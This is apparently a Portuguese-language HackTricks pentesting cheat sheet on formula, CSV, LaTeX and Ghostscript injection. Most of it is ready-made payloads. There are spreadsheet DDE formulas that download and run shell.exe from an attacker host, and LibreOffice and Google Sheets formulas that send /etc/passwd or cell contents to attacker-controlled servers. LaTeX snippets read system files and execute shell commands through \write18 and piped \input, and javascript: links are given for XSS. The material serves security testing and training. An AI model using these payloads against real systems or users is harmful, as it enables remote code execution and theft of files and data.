12 KiB
Formula/CSV/Doc/LaTeX/GhostScript Injection
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
Formula Injection
Info
Se sua entrada está sendo refletida dentro de arquivos CSV (ou qualquer outro arquivo que provavelmente será aberto pelo Excel), você pode ser capaz de colocar fórmulas do Excel que serão executadas quando o usuário abrir o arquivo ou quando o usuário clicar em algum link dentro da planilha do excel.
{% hint style="danger" %} Atualmente, o Excel alertará (várias vezes) o usuário quando algo for carregado de fora do Excel para impedi-lo de ações maliciosas. Portanto, um esforço especial em Engenharia Social deve ser aplicado ao payload final. {% endhint %}
Wordlist
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
Hyperlink
O seguinte exemplo é muito útil para exfiltrar conteúdo da planilha final do excel e para realizar requisições a locais arbitrários. Mas requer que o usuário clique no link (e aceite os avisos).
O seguinte exemplo foi retirado de https://payatu.com/csv-injection-basic-to-exploit
Imagine uma violação de segurança em um sistema de Gerenciamento de Registros de Estudantes sendo explorada através de um ataque de injeção CSV. A intenção principal do atacante é comprometer o sistema usado pelos professores para gerenciar os detalhes dos alunos. O método envolve o atacante injetando um payload malicioso na aplicação, especificamente inserindo fórmulas prejudiciais em campos destinados aos detalhes dos alunos. O ataque se desenrola da seguinte forma:
- Injeção de Payload Malicioso:
- O atacante envia um formulário de detalhes do aluno, mas inclui uma fórmula comumente usada em planilhas (por exemplo,
=HYPERLINK("<malicious_link>","Clique aqui")
). - Esta fórmula é projetada para criar um hyperlink, mas aponta para um servidor malicioso controlado pelo atacante.
- Exportação de Dados Comprometidos:
- Professores, sem saber da violação, usam a funcionalidade da aplicação para exportar os dados para um arquivo CSV.
- O arquivo CSV, ao ser aberto, ainda contém o payload malicioso. Este payload aparece como um hyperlink clicável na planilha.
- Acionando o Ataque:
- Um professor clica no hyperlink, acreditando que seja uma parte legítima dos detalhes do aluno.
- Ao clicar, dados sensíveis (potencialmente incluindo detalhes da planilha ou do computador do professor) são transmitidos para o servidor do atacante.
- Registro dos Dados:
- O servidor do atacante recebe e registra os dados sensíveis enviados do computador do professor.
- O atacante pode então usar esses dados para vários propósitos maliciosos, comprometendo ainda mais a privacidade e a segurança dos alunos e da instituição.
RCE
Verifique o post original para mais detalhes.
Em configurações específicas ou versões mais antigas do Excel, um recurso chamado Dynamic Data Exchange (DDE) pode ser explorado para executar comandos arbitrários. Para aproveitar isso, as seguintes configurações devem ser habilitadas:
- Navegue até Arquivo → Opções → Central de Confiabilidade → Configurações da Central de Confiabilidade → Conteúdo Externo, e habilite Lançamento do Servidor de Troca de Dados Dinâmicos.
Quando uma planilha com o payload malicioso é aberta (e se o usuário aceitar os avisos), o payload é executado. Por exemplo, para iniciar o aplicativo de calculadora, o payload seria:
=cmd|' /C calc'!xxx
Comandos adicionais também podem ser executados, como baixar e executar um arquivo usando PowerShell:
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
Inclusão de Arquivo Local (LFI) no LibreOffice Calc
LibreOffice Calc pode ser usado para ler arquivos locais e exfiltrar dados. Aqui estão alguns métodos:
- Lendo a primeira linha do arquivo local
/etc/passwd
:='file:///etc/passwd'#$passwd.A1
- Exfiltrando os dados lidos para um servidor controlado pelo atacante:
=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
- Exfiltrando mais de uma linha:
=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
- Exfiltração DNS (enviando dados lidos como consultas DNS para um servidor DNS controlado pelo atacante):
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))
Google Sheets para Exfiltração de Dados Fora de Banda (OOB)
Google Sheets oferece funções que podem ser exploradas para exfiltração de dados OOB:
- CONCATENATE: Anexa strings juntas -
=CONCATENATE(A2:E2)
- IMPORTXML: Importa dados de tipos de dados estruturados -
=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
- IMPORTFEED: Importa feeds RSS ou ATOM -
=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
- IMPORTHTML: Importa dados de tabelas ou listas HTML -
=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
- IMPORTRANGE: Importa um intervalo de células de outra planilha -
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
- IMAGE: Insere uma imagem em uma célula -
=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")
Injeção de LaTeX
Normalmente, os servidores que você encontrará na internet que convertem código LaTeX em PDF usam pdflatex
.
Este programa usa 3 atributos principais para (des)permitir a execução de comandos:
--no-shell-escape
: Desabilita o construto\write18{command}
, mesmo que esteja habilitado no arquivo texmf.cnf.--shell-restricted
: Igual a--shell-escape
, mas limitado a um conjunto 'seguro' de comandos **predefinidos (**No Ubuntu 16.04, a lista está em/usr/share/texmf/web2c/texmf.cnf
).--shell-escape
: Habilita o construto\write18{command}
. O comando pode ser qualquer comando de shell. Este construto normalmente é desabilitado por razões de segurança.
No entanto, existem outras maneiras de executar comandos, então, para evitar RCE, é muito importante usar --shell-restricted
.
Ler arquivo
Você pode precisar ajustar a injeção com wrappers como [ ou $.
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
Ler arquivo de linha única
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
Ler arquivo com várias linhas
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
Escrever arquivo
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
Execução de comando
A entrada do comando será redirecionada para stdin, use um arquivo temporário para obtê-la.
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
Se você receber algum erro de LaTex, considere usar base64 para obter o resultado sem caracteres inválidos.
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}
Cross Site Scripting
De @EdOverflow
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
Ghostscript Injection
Verifique https://blog.redteam-pentesting.de/2023/ghostscript-overview/
Referências
- https://notsosecure.com/data-exfiltration-formula-injection-part1
- https://0day.work/hacking-with-latex/
- https://salmonsec.com/cheatsheet/latex_injection
- https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Verifique os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.